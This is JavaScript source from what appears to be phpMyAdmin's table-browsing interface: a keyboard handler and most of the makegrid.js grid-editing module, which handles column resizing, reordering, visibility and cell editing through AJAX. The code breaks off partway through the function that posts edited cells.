AJAX.registerOnload('keyhandler.js', function () { $(document).on('keydown keyup', '#table_columns', function (event) { onKeyDownArrowsHandler(event.originalEvent); }); $(document).on('keydown keyup', 'table.insertRowTable', function (event) { onKeyDownArrowsHandler(event.originalEvent); }); }); src/makegrid.js000066600000303026151724472050007473 0ustar00/* global firstDayOfCalendar */ // templates/javascript/variables.twig /** * Create advanced table (resize, reorder, and show/hide columns; and also grid editing). * This function is designed mainly for table DOM generated from browsing a table in the database. * For using this function in other table DOM, you may need to: * - add "draggable" class in the table header , in order to make it resizable, sortable or hidable * - have at least one non-"draggable" header in the table DOM for placing column visibility drop-down arrow * - pass the value "false" for the parameter "enableGridEdit" * - adjust other parameter value, to select which features that will be enabled * * @param t the table DOM element * @param enableResize Optional, if false, column resizing feature will be disabled * @param enableReorder Optional, if false, column reordering feature will be disabled * @param enableVisib Optional, if false, show/hide column feature will be disabled * @param enableGridEdit Optional, if false, grid editing feature will be disabled */ // eslint-disable-next-line no-unused-vars var makeGrid = function (t, enableResize, enableReorder, enableVisib, enableGridEdit) { var isResizeEnabled = enableResize === undefined ? true : enableResize; var isReorderEnabled = enableReorder === undefined ? true : enableReorder; var isVisibEnabled = enableVisib === undefined ? true : enableVisib; var isGridEditEnabled = enableGridEdit === undefined ? true : enableGridEdit; var g = { /** ********* * Constant ***********/ minColWidth: 15, /** ********* * Variables, assigned with default value, changed later ***********/ actionSpan: 5, // number of colspan in Actions header in a table tableCreateTime: null, // table creation time, used for saving column order and visibility to server, only available in "Browse tab" // Column reordering variables colOrder: [], // array of column order // Column visibility variables colVisib: [], // array of column visibility showAllColText: '', // string, text for "show all" button under column visibility list visibleHeadersCount: 0, // number of visible data headers // Table hint variables reorderHint: '', // string, hint for column reordering sortHint: '', // string, hint for column sorting markHint: '', // string, hint for column marking copyHint: '', // string, hint for copy column name showReorderHint: false, showSortHint: false, showMarkHint: false, // Grid editing isCellEditActive: false, // true if current focus is in edit cell isEditCellTextEditable: false, // true if current edit cell is editable in the text input box (not textarea) currentEditCell: null, // reference to that currently being edited cellEditHint: '', // hint shown when doing grid edit gotoLinkText: '', // "Go to link" text wasEditedCellNull: false, // true if last value of the edited cell was NULL maxTruncatedLen: 0, // number of characters that can be displayed in a cell saveCellsAtOnce: false, // $cfg[saveCellsAtOnce] isCellEdited: false, // true if at least one cell has been edited saveCellWarning: '', // string, warning text when user want to leave a page with unsaved edited data lastXHR : null, // last XHR object used in AJAX request isSaving: false, // true when currently saving edited data, used to handle double posting caused by pressing ENTER in grid edit text box in Chrome browser alertNonUnique: '', // string, alert shown when saving edited nonunique table // Common hidden inputs token: null, server: null, db: null, table: null, /** ********** * Functions ************/ /** * Start to resize column. Called when clicking on column separator. * * @param e event * @param obj dragged div object */ dragStartRsz: function (e, obj) { var n = $(g.cRsz).find('div').index(obj); // get the index of separator (i.e., column index) $(obj).addClass('colborder_active'); g.colRsz = { x0: e.pageX, n: n, obj: obj, objLeft: $(obj).position().left, objWidth: $(g.t).find('th.draggable:visible').eq(n).find('span').outerWidth() }; // eslint-disable-next-line compat/compat $(document.body).css('cursor', 'col-resize').noSelect(); if (g.isCellEditActive) { g.hideEditCell(); } }, /** * Start to reorder column. Called when clicking on table header. * * @param e event * @param obj table header object */ dragStartReorder: function (e, obj) { // prepare the cCpy (column copy) and cPointer (column pointer) from the dragged column $(g.cCpy).text($(obj).text()); var objPos = $(obj).position(); $(g.cCpy).css({ top: objPos.top + 20, left: objPos.left, height: $(obj).height(), width: $(obj).width() }); $(g.cPointer).css({ top: objPos.top }); // get the column index, zero-based var n = g.getHeaderIdx(obj); g.colReorder = { x0: e.pageX, y0: e.pageY, n: n, newn: n, obj: obj, objTop: objPos.top, objLeft: objPos.left }; // eslint-disable-next-line compat/compat $(document.body).css('cursor', 'move').noSelect(); if (g.isCellEditActive) { g.hideEditCell(); } }, /** * Handle mousemove event when dragging. * * @param e event */ dragMove: function (e) { var dx; if (g.colRsz) { dx = e.pageX - g.colRsz.x0; if (g.colRsz.objWidth + dx > g.minColWidth) { $(g.colRsz.obj).css('left', g.colRsz.objLeft + dx + 'px'); } } else if (g.colReorder) { // dragged column animation dx = e.pageX - g.colReorder.x0; $(g.cCpy) .css('left', g.colReorder.objLeft + dx) .show(); // pointer animation var hoveredCol = g.getHoveredCol(e); if (hoveredCol) { var newn = g.getHeaderIdx(hoveredCol); g.colReorder.newn = newn; if (newn !== g.colReorder.n) { // show the column pointer in the right place var colPos = $(hoveredCol).position(); var newleft = newn < g.colReorder.n ? colPos.left : colPos.left + $(hoveredCol).outerWidth(); $(g.cPointer) .css({ left: newleft, visibility: 'visible' }); } else { // no movement to other column, hide the column pointer $(g.cPointer).css('visibility', 'hidden'); } } } }, /** * Stop the dragging action. * * @param e event */ dragEnd: function (e) { if (g.colRsz) { var dx = e.pageX - g.colRsz.x0; var nw = g.colRsz.objWidth + dx; if (nw < g.minColWidth) { nw = g.minColWidth; } var n = g.colRsz.n; // do the resizing g.resize(n, nw); g.reposRsz(); g.reposDrop(); g.colRsz = false; $(g.cRsz).find('div').removeClass('colborder_active'); } else if (g.colReorder) { // shift columns if (g.colReorder.newn !== g.colReorder.n) { g.shiftCol(g.colReorder.n, g.colReorder.newn); // assign new position var objPos = $(g.colReorder.obj).position(); g.colReorder.objTop = objPos.top; g.colReorder.objLeft = objPos.left; g.colReorder.n = g.colReorder.newn; // send request to server to remember the column order if (g.tableCreateTime) { g.sendColPrefs(); } g.refreshRestoreButton(); } // animate new column position $(g.cCpy).stop(true, true) .animate({ top: g.colReorder.objTop, left: g.colReorder.objLeft }, 'fast') .fadeOut(); $(g.cPointer).css('visibility', 'hidden'); g.colReorder = false; } // eslint-disable-next-line compat/compat $(document.body).css('cursor', 'inherit').noSelect(false); }, /** * Resize column n to new width "nw" * * @param n zero-based column index * @param nw new width of the column in pixel */ resize: function (n, nw) { $(g.t).find('tr').each(function () { $(this).find('th.draggable:visible').eq(n).find('span') .add($(this).find('td:visible').eq(g.actionSpan + n).find('span')) .css('width', nw); }); }, /** * Reposition column resize bars. */ reposRsz: function () { $(g.cRsz).find('div').hide(); var $firstRowCols = $(g.t).find('tr').first().find('th.draggable:visible'); var $resizeHandles = $(g.cRsz).find('div').removeClass('condition'); $(g.t).find('table.pma_table').find('thead th').first().removeClass('before-condition'); for (var n = 0, l = $firstRowCols.length; n < l; n++) { var $col = $($firstRowCols[n]); var colWidth; if (navigator.userAgent.toLowerCase().indexOf('safari') !== -1) { colWidth = $col.outerWidth(); } else { colWidth = $col.outerWidth(true); } $($resizeHandles[n]).css('left', $col.position().left + colWidth) .show(); if ($col.hasClass('condition')) { $($resizeHandles[n]).addClass('condition'); if (n > 0) { $($resizeHandles[n - 1]).addClass('condition'); } } } if ($($resizeHandles[0]).hasClass('condition')) { $(g.t).find('thead th').first().addClass('before-condition'); } $(g.cRsz).css('height', $(g.t).height()); }, /** * Shift column from index oldn to newn. * * @param oldn old zero-based column index * @param newn new zero-based column index */ shiftCol: function (oldn, newn) { $(g.t).find('tr').each(function () { if (newn < oldn) { $(this).find('th.draggable').eq(newn) .add($(this).find('td').eq(g.actionSpan + newn)) .before($(this).find('th.draggable').eq(oldn) .add($(this).find('td').eq(g.actionSpan + oldn))); } else { $(this).find('th.draggable').eq(newn) .add($(this).find('td').eq(g.actionSpan + newn)) .after($(this).find('th.draggable').eq(oldn) .add($(this).find('td').eq(g.actionSpan + oldn))); } }); // reposition the column resize bars g.reposRsz(); // adjust the column visibility list if (newn < oldn) { $(g.cList).find('.lDiv div').eq(newn) .before($(g.cList).find('.lDiv div').eq(oldn)); } else { $(g.cList).find('.lDiv div').eq(newn) .after($(g.cList).find('.lDiv div').eq(oldn)); } // adjust the colOrder var tmp = g.colOrder[oldn]; g.colOrder.splice(oldn, 1); g.colOrder.splice(newn, 0, tmp); // adjust the colVisib if (g.colVisib.length > 0) { tmp = g.colVisib[oldn]; g.colVisib.splice(oldn, 1); g.colVisib.splice(newn, 0, tmp); } }, /** * Find currently hovered table column's header (excluding actions column). * * @param e event * @return {object|undefined} the hovered column's th object or undefined if no hovered column found. */ getHoveredCol: function (e) { var hoveredCol; var $headers = $(g.t).find('th.draggable:visible'); $headers.each(function () { var left = $(this).offset().left; var right = left + $(this).outerWidth(); if (left <= e.pageX && e.pageX <= right) { hoveredCol = this; } }); return hoveredCol; }, /** * Get a zero-based index from a tag in a table. * * @param obj table header object * @return {number} zero-based index of the specified table header in the set of table headers (visible or not) */ getHeaderIdx: function (obj) { return $(obj).parents('tr').find('th.draggable').index(obj); }, /** * Reposition the columns back to normal order. */ restoreColOrder: function () { // use insertion sort, since we already have shiftCol function for (var i = 1; i < g.colOrder.length; i++) { var x = g.colOrder[i]; var j = i - 1; while (j >= 0 && x < g.colOrder[j]) { j--; } if (j !== i - 1) { g.shiftCol(i, j + 1); } } if (g.tableCreateTime) { // send request to server to remember the column order g.sendColPrefs(); } g.refreshRestoreButton(); }, /** * Send column preferences (column order and visibility) to the server. */ sendColPrefs: function () { if ($(g.t).is('.ajax')) { // only send preferences if ajax class if (typeof g.db !== 'string' && typeof g.table !== 'string') { // The server has nothing to do with it // Issue: https://github.com/phpmyadmin/phpmyadmin/issues/15658 return; } var postParams = { 'ajax_request': true, 'db': g.db, 'table': g.table, 'token': g.token, 'server': g.server, 'table_create_time': g.tableCreateTime }; if (g.colOrder.length > 0) { $.extend(postParams, { 'col_order': g.colOrder.toString() }); } if (g.colVisib.length > 0) { $.extend(postParams, { 'col_visib': g.colVisib.toString() }); } $.post('index.php?route=/sql/set-column-preferences', postParams, function (data) { if (data.success !== true) { var $tempDiv = $(document.createElement('div')); $tempDiv.html(data.error); $tempDiv.addClass('alert alert-danger'); Functions.ajaxShowMessage($tempDiv, false); } }); } }, /** * Refresh restore button state. * Make restore button disabled if the table is similar with initial state. */ refreshRestoreButton: function () { // check if table state is as initial state var isInitial = true; for (var i = 0; i < g.colOrder.length; i++) { if (g.colOrder[i] !== i) { isInitial = false; break; } } // check if only one visible column left var isOneColumn = g.visibleHeadersCount === 1; // enable or disable restore button if (isInitial || isOneColumn) { $(g.o).find('div.restore_column').hide(); } else { $(g.o).find('div.restore_column').show(); } }, /** * Update current hint using the boolean values (showReorderHint, showSortHint, etc.). * * @return {string} * */ updateHint: function () { var text = ''; if (!g.colRsz && !g.colReorder) { // if not resizing or dragging if (g.visibleHeadersCount > 1) { g.showReorderHint = true; } if ($(t).find('th.marker').length > 0) { g.showMarkHint = true; } if (g.showSortHint && g.sortHint) { text += text.length > 0 ? '
        ' : ''; text += '- ' + g.sortHint; } if (g.showMultiSortHint && g.strMultiSortHint) { text += text.length > 0 ? '
        ' : ''; text += '- ' + g.strMultiSortHint; } if (g.showMarkHint && g.markHint && ! g.showSortHint && // we do not show mark hint, when sort hint is shown g.showReorderHint && g.reorderHint ) { text += text.length > 0 ? '
        ' : ''; text += '- ' + g.reorderHint; text += text.length > 0 ? '
        ' : ''; text += '- ' + g.markHint; text += text.length > 0 ? '
        ' : ''; text += '- ' + g.copyHint; } } return text; }, /** * Toggle column's visibility. * After calling this function and it returns true, afterToggleCol() must be called. * * @param {number} n * * @return {boolean} True if the column is toggled successfully. */ toggleCol: function (n) { if (g.colVisib[n]) { // can hide if more than one column is visible if (g.visibleHeadersCount > 1) { $(g.t).find('tr').each(function () { $(this).find('th.draggable').eq(n) .add($(this).find('td').eq(g.actionSpan + n)) .hide(); }); g.colVisib[n] = 0; $(g.cList).find('.lDiv div').eq(n).find('input').prop('checked', false); } else { // cannot hide, force the checkbox to stay checked $(g.cList).find('.lDiv div').eq(n).find('input').prop('checked', true); return false; } } else { // column n is not visible $(g.t).find('tr').each(function () { $(this).find('th.draggable').eq(n) .add($(this).find('td').eq(g.actionSpan + n)) .show(); }); g.colVisib[n] = 1; $(g.cList).find('.lDiv div').eq(n).find('input').prop('checked', true); } return true; }, /** * This must be called if toggleCol() returns is true. * * This function is separated from toggleCol because, sometimes, we want to toggle * some columns together at one time and do just one adjustment after it, e.g. in showAllColumns(). */ afterToggleCol: function () { // some adjustments after hiding column g.reposRsz(); g.reposDrop(); g.sendColPrefs(); // check visible first row headers count g.visibleHeadersCount = $(g.t).find('tr').first().find('th.draggable:visible').length; g.refreshRestoreButton(); // Display minimum of one column - disable checkbox for hiding last column if (g.visibleHeadersCount <= 1) { $(g.cList).find('.lDiv div').each(function () { $(this).find('input:checkbox:checked').prop('disabled', true); }); } else { // Remove disabled property if showing more than one column $(g.cList).find('.lDiv div').each(function () { $(this).find('input:checkbox:disabled').prop('disabled', false); }); } }, /** * Show columns' visibility list. * * @param obj The drop down arrow of column visibility list */ showColList: function (obj) { // only show when not resizing or reordering if (!g.colRsz && !g.colReorder) { var pos = $(obj).position(); $(g.cList).css({ top: pos.top + $(obj).outerHeight(true) }) .show(); $(obj).addClass('coldrop-hover'); } }, /** * Hide columns' visibility list. */ hideColList: function () { $(g.cList).hide(); $(g.cDrop).find('.coldrop-hover').removeClass('coldrop-hover'); }, /** * Reposition the column visibility drop-down arrow. */ reposDrop: function () { var $th = $(t).find('th:not(.draggable)'); for (var i = 0; i < $th.length; i++) { var $cd = $(g.cDrop).find('div').eq(i); // column drop-down arrow var pos = $($th[i]).position(); $cd.css({ left: pos.left + $($th[i]).width() - $cd.width(), top: pos.top }); } }, /** * Show all hidden columns. */ showAllColumns: function () { for (var i = 0; i < g.colVisib.length; i++) { if (!g.colVisib[i]) { g.toggleCol(i); } } g.afterToggleCol(); }, /** * Show edit cell, if it can be shown * * @param cell element to be edited */ showEditCell: function (cell) { // destroy the date picker instance left if any, see: #17703 var $datePickerInstance = $(g.cEdit).find('.hasDatepicker'); if ($datePickerInstance.length > 0) { $datePickerInstance.datepicker('destroy'); } if ($(cell).is('.grid_edit') && !g.colRsz && !g.colReorder) { if (!g.isCellEditActive) { var $cell = $(cell); if ('string' === $cell.attr('data-type') || 'blob' === $cell.attr('data-type') || 'json' === $cell.attr('data-type') ) { g.cEdit = g.cEditTextarea; } else { g.cEdit = g.cEditStd; } // remove all edit area and hide it $(g.cEdit).find('.edit_area').empty().hide(); // reposition the cEdit element $(g.cEdit).css({ top: $cell.position().top, left: $cell.position().left }) .show() .find('.edit_box') .css({ width: $cell.outerWidth(), height: $cell.outerHeight() }); // fill the cell edit with text from var value = Functions.getCellValue(cell); if ($cell.attr('data-type') === 'json' && $cell.is('.truncated') === false) { value = Functions.stringifyJSON(value, null, 4); } $(g.cEdit).find('.edit_box').val(value); g.currentEditCell = cell; $(g.cEdit).find('.edit_box').trigger('focus'); moveCursorToEnd($(g.cEdit).find('.edit_box')); $(g.cEdit).find('*').prop('disabled', false); } } function moveCursorToEnd (input) { var originalValue = input.val(); var originallength = originalValue.length; input.val(''); input.trigger('blur').trigger('focus').val(originalValue); input[0].setSelectionRange(originallength, originallength); } }, /** * Remove edit cell and the edit area, if it is shown. * * @param force Optional, force to hide edit cell without saving edited field. * @param data Optional, data from the POST AJAX request to save the edited field * or just specify "true", if we want to replace the edited field with the new value. * @param field Optional, the edited . If not specified, the function will * use currently edited from g.currentEditCell. * @param options Optional, this object contains a boolean named move (true, if called from move* functions) * and a to which the grid_edit should move */ hideEditCell: function (force, data, field, options) { if (g.isCellEditActive && !force) { // cell is being edited, save or post the edited data if (options !== undefined) { g.saveOrPostEditedCell(options); } else { g.saveOrPostEditedCell(); } return; } // cancel any previous request if (g.lastXHR !== null) { g.lastXHR.abort(); g.lastXHR = null; } if (data) { if (g.currentEditCell) { // save value of currently edited cell // replace current edited field with the new value var $thisField = $(g.currentEditCell); var isNull = $thisField.data('value') === null; if (isNull) { $thisField.find('span').html('NULL'); $thisField.addClass('null'); } else { $thisField.removeClass('null'); var value = data.isNeedToRecheck ? data.truncatableFieldValue : $thisField.data('value'); // Truncates the text. $thisField.removeClass('truncated'); if (CommonParams.get('pftext') === 'P' && value.length > g.maxTruncatedLen) { $thisField.addClass('truncated'); value = value.substring(0, g.maxTruncatedLen) + '...'; } // Add
        before carriage return. var newHtml = Functions.escapeHtml(value); newHtml = newHtml.replace(/\n/g, '
        \n'); var decimals = parseInt($thisField.attr('data-decimals')); // remove decimal places if column type not supported if ((decimals === 0) && ($thisField.attr('data-type').indexOf('time') !== -1)) { newHtml = newHtml.substring(0, newHtml.indexOf('.')); } // remove additional decimal places if ((decimals > 0) && ($thisField.attr('data-type').indexOf('time') !== -1)) { newHtml = newHtml.substring(0, newHtml.length - (6 - decimals)); } var selector = 'span'; if ($thisField.hasClass('hex') && $thisField.find('a').length) { selector = 'a'; } // Updates the code keeping highlighting (if any). var $target = $thisField.find(selector); if (!Functions.updateCode($target, newHtml, value)) { $target.html(newHtml); } } if ($thisField.is('.bit')) { $thisField.find('span').text($thisField.data('value')); } } if (data.transformations !== undefined) { $.each(data.transformations, function (cellIndex, value) { var $thisField = $(g.t).find('.to_be_saved').eq(cellIndex); $thisField.find('span').html(value); }); } if (data.relations !== undefined) { $.each(data.relations, function (cellIndex, value) { var $thisField = $(g.t).find('.to_be_saved').eq(cellIndex); $thisField.find('span').html(value); }); } // refresh the grid g.reposRsz(); g.reposDrop(); } // hide the cell editing area $(g.cEdit).hide(); $(g.cEdit).find('.edit_box').trigger('blur'); g.isCellEditActive = false; g.currentEditCell = null; // destroy datepicker in edit area, if exist var $dp = $(g.cEdit).find('.hasDatepicker'); if ($dp.length > 0) { // eslint-disable-next-line no-underscore-dangle $(document).on('mousedown', $.datepicker._checkExternalClick); $dp.datepicker('refresh'); // change the cursor in edit box back to normal // (the cursor become a hand pointer when we add datepicker) $(g.cEdit).find('.edit_box').css('cursor', 'inherit'); } }, /** * Show drop-down edit area when edit cell is focused. */ showEditArea: function () { if (!g.isCellEditActive) { // make sure the edit area has not been shown g.isCellEditActive = true; g.isEditCellTextEditable = false; /** * @var $td current edited cell */ var $td = $(g.currentEditCell); /** * @var $editArea the editing area */ var $editArea = $(g.cEdit).find('.edit_area'); /** * @var whereClause WHERE clause for the edited cell */ var whereClause = $td.parent('tr').find('.where_clause').val(); /** * @var fieldName String containing the name of this field. * @see Sql.getFieldName() */ var fieldName = Sql.getFieldName($(t), $td); /** * @var relationCurrValue String current value of the field (for fields that are foreign keyed). */ var relationCurrValue = $td.text(); /** * @var relationKeyOrDisplayColumn String relational key if in 'Relational display column' mode, * relational display column if in 'Relational key' mode (for fields that are foreign keyed). */ var relationKeyOrDisplayColumn = $td.find('a').attr('title'); /** * @var currValue String current value of the field (for fields that are of type enum or set). */ var currValue = $td.find('span').text(); // empty all edit area, then rebuild it based on $td classes $editArea.empty(); // remember this instead of testing more than once var isNull = $td.is('.null'); // add goto link, if this cell contains a link if ($td.find('a').length > 0) { var gotoLink = document.createElement('div'); gotoLink.className = 'goto_link'; $(gotoLink).append(g.gotoLinkText + ' ').append($td.find('a').clone()); $editArea.append(gotoLink); } g.wasEditedCellNull = false; if ($td.is(':not(.not_null)')) { // append a null checkbox $editArea.append('
        '); var $checkbox = $editArea.find('.null_div input'); // check if current is NULL if (isNull) { $checkbox.prop('checked', true); g.wasEditedCellNull = true; } // if the select/editor is changed un-check the 'checkbox_null__'. if ($td.is('.enum, .set')) { $editArea.on('change', 'select', function () { $checkbox.prop('checked', false); }); } else if ($td.is('.relation')) { $editArea.on('change', 'select', function () { $checkbox.prop('checked', false); }); $editArea.on('click', '.browse_foreign', function () { $checkbox.prop('checked', false); }); } else { $(g.cEdit).on('keypress change paste', '.edit_box', function () { $checkbox.prop('checked', false); }); // Capture ctrl+v (on IE and Chrome) $(g.cEdit).on('keydown', '.edit_box', function (e) { if (e.ctrlKey && e.which === 86) { $checkbox.prop('checked', false); } }); $editArea.on('keydown', 'textarea', function () { $checkbox.prop('checked', false); }); } // if some text is written in textbox automatically unmark the null checkbox and if it is emptied again mark the checkbox. $(g.cEdit).find('.edit_box').on('input', function () { if ($(g.cEdit).find('.edit_box').val() !== '') { $checkbox.prop('checked', false); } else { $checkbox.prop('checked', true); } }); // if null checkbox is clicked empty the corresponding select/editor. $checkbox.on('click', function () { if ($td.is('.enum')) { $editArea.find('select').val(''); } else if ($td.is('.set')) { $editArea.find('select').find('option').each(function () { var $option = $(this); $option.prop('selected', false); }); } else if ($td.is('.relation')) { // if the dropdown is there to select the foreign value if ($editArea.find('select').length > 0) { $editArea.find('select').val(''); } } else { $editArea.find('textarea').val(''); } $(g.cEdit).find('.edit_box').val(''); }); } // reset the position of the edit_area div after closing datetime picker $(g.cEdit).find('.edit_area').css({ 'top' :'0','position':'' }); var postParams; if ($td.is('.relation')) { // handle relations $editArea.addClass('edit_area_loading'); // initialize the original data $td.data('original_data', null); /** * @var postParams Object containing parameters for the POST request */ postParams = { 'ajax_request' : true, 'server' : g.server, 'db' : g.db, 'table' : g.table, 'column' : fieldName, 'curr_value' : relationCurrValue, 'relation_key_or_display_column' : relationKeyOrDisplayColumn }; g.lastXHR = $.post('index.php?route=/sql/get-relational-values', postParams, function (data) { g.lastXHR = null; $editArea.removeClass('edit_area_loading'); if ($(data.dropdown).is('select')) { // save original_data var value = $(data.dropdown).val(); $td.data('original_data', value); // update the text input field, in case where the "Relational display column" is checked $(g.cEdit).find('.edit_box').val(value); } $editArea.append(data.dropdown); $editArea.append('
        ' + g.cellEditHint + '
        '); // for 'Browse foreign values' options, // hide the value next to 'Browse foreign values' link $editArea.find('span.curr_value').hide(); // handle update for new values selected from new window $editArea.find('span.curr_value').on('change', function () { $(g.cEdit).find('.edit_box').val($(this).text()); }); }); // end $.post() $editArea.show(); $editArea.on('change', 'select', function () { $(g.cEdit).find('.edit_box').val($(this).val()); }); g.isEditCellTextEditable = true; } else if ($td.is('.enum')) { // handle enum fields $editArea.addClass('edit_area_loading'); /** * @var postParams Object containing parameters for the POST request */ postParams = { 'ajax_request' : true, 'server' : g.server, 'db' : g.db, 'table' : g.table, 'column' : fieldName, 'curr_value' : currValue }; g.lastXHR = $.post('index.php?route=/sql/get-enum-values', postParams, function (data) { g.lastXHR = null; if (typeof data === 'object' && data.success === false) { Functions.ajaxShowMessage(data.error, undefined, 'error'); return; } $editArea.removeClass('edit_area_loading'); $editArea.append(data.dropdown); $editArea.append('
        ' + g.cellEditHint + '
        '); }); // end $.post() $editArea.show(); $editArea.on('change', 'select', function () { $(g.cEdit).find('.edit_box').val($(this).val()); }); } else if ($td.is('.set')) { // handle set fields $editArea.addClass('edit_area_loading'); // if the data is truncated, get the full data if ($td.is('.truncated')) { postParams = { 'ajax_request': true, 'server': g.server, 'db': g.db, 'table': g.table, 'column': fieldName, 'curr_value': currValue, 'get_full_values': true, 'where_clause': whereClause }; } else { postParams = { 'ajax_request': true, 'server': g.server, 'db': g.db, 'table': g.table, 'column': fieldName, 'curr_value': currValue }; } g.lastXHR = $.post('index.php?route=/sql/get-set-values', postParams, function (data) { g.lastXHR = null; if (typeof data === 'object' && data.success === false) { Functions.ajaxShowMessage(data.error, undefined, 'error'); return; } $editArea.removeClass('edit_area_loading'); $editArea.append(data.select); $td.data('original_data', $(data.select).val().join()); $editArea.append('
        ' + g.cellEditHint + '
        '); }); // end $.post() $editArea.show(); $editArea.on('change', 'select', function () { $(g.cEdit).find('.edit_box').val($(this).val()); }); } else if ($td.is('.truncated, .transformed')) { if ($td.is('.to_be_saved')) { // cell has been edited var value = $td.data('value'); $(g.cEdit).find('.edit_box').val(value); $editArea.append(''); $editArea.find('textarea').val(value); $editArea .on('keyup', 'textarea', function () { $(g.cEdit).find('.edit_box').val($(this).val()); }); $(g.cEdit).on('keyup', '.edit_box', function () { $editArea.find('textarea').val($(this).val()); }); $editArea.append('
        ' + g.cellEditHint + '
        '); } else { // handle truncated/transformed values values $editArea.addClass('edit_area_loading'); // initialize the original data $td.data('original_data', null); /** * @var sqlQuery String containing the SQL query used to retrieve value of truncated/transformed data */ var sqlQuery = 'SELECT `' + fieldName + '` FROM `' + g.table + '` WHERE ' + whereClause; // Make the Ajax call and get the data, wrap it and insert it g.lastXHR = $.post('index.php?route=/sql', { 'server' : g.server, 'db' : g.db, 'ajax_request' : true, 'sql_query' : sqlQuery, 'grid_edit' : true }, function (data) { g.lastXHR = null; $editArea.removeClass('edit_area_loading'); if (typeof data !== 'undefined' && data.success === true) { if ($td.attr('data-type') === 'json') { data.value = Functions.stringifyJSON(data.value, null, 4); } $td.data('original_data', data.value); $(g.cEdit).find('.edit_box').val(data.value); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } g.isEditCellTextEditable = true; } else if ($td.is('.timefield, .datefield, .datetimefield, .timestampfield')) { var $inputField = $(g.cEdit).find('.edit_box'); // remember current datetime value in $input_field, if it is not null var datetimeValue = !isNull ? $inputField.val() : ''; var showMillisec = false; var showMicrosec = false; var timeFormat = 'HH:mm:ss'; // check for decimal places of seconds if (($td.attr('data-decimals') > 0) && ($td.attr('data-type').indexOf('time') !== -1)) { if (datetimeValue && datetimeValue.indexOf('.') === false) { datetimeValue += '.'; } if ($td.attr('data-decimals') > 3) { showMillisec = true; showMicrosec = true; timeFormat = 'HH:mm:ss.lc'; if (datetimeValue) { datetimeValue += '000000'; datetimeValue = datetimeValue.substring(0, datetimeValue.indexOf('.') + 7); $inputField.val(datetimeValue); } } else { showMillisec = true; timeFormat = 'HH:mm:ss.l'; if (datetimeValue) { datetimeValue += '000'; datetimeValue = datetimeValue.substring(0, datetimeValue.indexOf('.') + 4); $inputField.val(datetimeValue); } } } // add datetime picker Functions.addDatepicker($inputField, $td.attr('data-type'), { showMillisec: showMillisec, showMicrosec: showMicrosec, timeFormat: timeFormat, firstDay: firstDayOfCalendar }); $inputField.on('keyup', function (e) { if (e.which === 13) { // post on pressing "Enter" e.preventDefault(); e.stopPropagation(); g.saveOrPostEditedCell(); } else if (e.which !== 27) { Functions.toggleDatepickerIfInvalid($td, $inputField); } }); $inputField.datepicker('show'); Functions.toggleDatepickerIfInvalid($td, $inputField); // unbind the mousedown event to prevent the problem of // datepicker getting closed, needs to be checked for any // change in names when updating // eslint-disable-next-line no-underscore-dangle $(document).off('mousedown', $.datepicker._checkExternalClick); // move ui-datepicker-div inside cEdit div var datepickerDiv = $('#ui-datepicker-div'); datepickerDiv.css({ 'top': 0, 'left': 0, 'position': 'relative' }); $(g.cEdit).append(datepickerDiv); // cancel any click on the datepicker element $editArea.find('> *').on('click', function (e) { e.stopPropagation(); }); g.isEditCellTextEditable = true; } else { g.isEditCellTextEditable = true; // only append edit area hint if there is a null checkbox if ($editArea.children().length > 0) { $editArea.append('
        ' + g.cellEditHint + '
        '); } } if ($editArea.children().length > 0) { $editArea.show(); } } }, /** * Post the content of edited cell. * * @param options Optional, this object contains a boolean named move (true, if called from move* functions) * and a to which the grid_edit should move */ postEditedCell: function (options) { if (g.isSaving) { return; } g.isSaving = true; /** * @var relationFields Array containing the name/value pairs of relational fields */ var relationFields = {}; /** * @var relationalDisplay string 'K' if relational key, 'D' if relational display column */ var relationalDisplay = $(g.o).find('input[name=relational_display]:checked').val(); /** * @var transformFields Array containing the name/value pairs for transformed fields */ var transformFields = {}; /** * @var transformationFields Boolean, if there are any transformed fields in the edited cells */ var transformationFields = false; /** * @var fullSqlQuery String containing the complete SQL query to update this table */ var fullSqlQuery = ''; /** * @var relFieldsList String, url encoded representation of {@link relations_fields} */ var relFieldsList = ''; /** * @var transformFieldsList String, url encoded representation of {@link transformFields} */ var transformFieldsList = ''; /** * @var fullWhereClause Array containing where clause for updated fields */ var fullWhereClause = []; /** * @var isUnique Boolean, whether the rows in this table is unique or not */ var isUnique = $(g.t).find('td.edit_row_anchor').is('.nonunique') ? 0 : 1; /** * multi edit variables */ var multiEditFieldsName = []; var multiEditFieldsType = []; var multiEditFields = []; var multiEditFieldsNull = []; // alert user if edited table is not unique if (!isUnique) { alert(g.alertNonUnique); } // loop each edited row $(g.t).find('td.to_be_saved').parents('tr').each(function () { var $tr = $(this); var whereClause = $tr.find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } fullWhereClause.push(whereClause); var conditionArray = JSON.parse($tr.find('.condition_array').val()); /** * multi edit variables, for current row * @TODO array indices are still not correct, they should be md5 of field's name */ var fieldsName = []; var fieldsType = []; var fields = []; var fieldsNull = []; // loop each edited cell in a row $tr.find('.to_be_saved').each(function () { /** * @var $thisField Object referring to the td that is being edited */ var $thisField = $(this); /** * @var fieldName String containing the name of this field. * @see Sql.getFieldName() */ var fieldName = Sql.getFieldName($(g.t), $thisField); /** * @var thisFieldParams Array temporary storage for the name/value of current field */ var thisFieldParams = {}; if ($thisField.is('.transformed')) { transformationFields = true; } thisFieldParams[fieldName] = $thisField.data('value'); /** * @var isNull String capturing whether 'checkbox_null__' is checked. */ var isNull = thisFieldParams[fieldName] === null; fieldsName.push(fieldName); if (isNull) { fieldsNull.push('on'); fields.push(''); } else { if ($thisField.is('.bit')) { fieldsType.push('bit'); } else if ($thisField.hasClass('hex')) { fieldsType.push('hex'); } fieldsNull.push(''); if ($thisField.attr('data-type') !== 'json') { fields.push($thisField.data('value')); } else { const JSONString = Functions.stringifyJSON($thisField.data('value')); fields.push(JSONString); } var cellIndex = $thisField.index('.to_be_saved'); if ($thisField.is(':not(.relation, .enum, .set, .bit)')) { if ($thisField.is('.transformed')) { transformFields[cellIndex] = {}; $.extend(transformFields[cellIndex], thisFieldParams); } } else if ($thisField.is('.relation')) { relationFields[cellIndex] = {}; $.extend(relationFields[cellIndex], thisFieldParams); } } // check if edited field appears in WHERE clause if (whereClause.indexOf(Sql.urlEncode(fieldName)) > -1) { var fieldStr = '`' + g.table + '`.' + '`' + fieldName + '`'; for (var field in conditionArray) { if (field.indexOf(fieldStr) > -1) { conditionArray[field] = isNull ? 'IS NULL' : '= \'' + thisFieldParams[fieldName].replace(/'/g, '\'\'') + '\''; break; } } } }); // end of loop for every 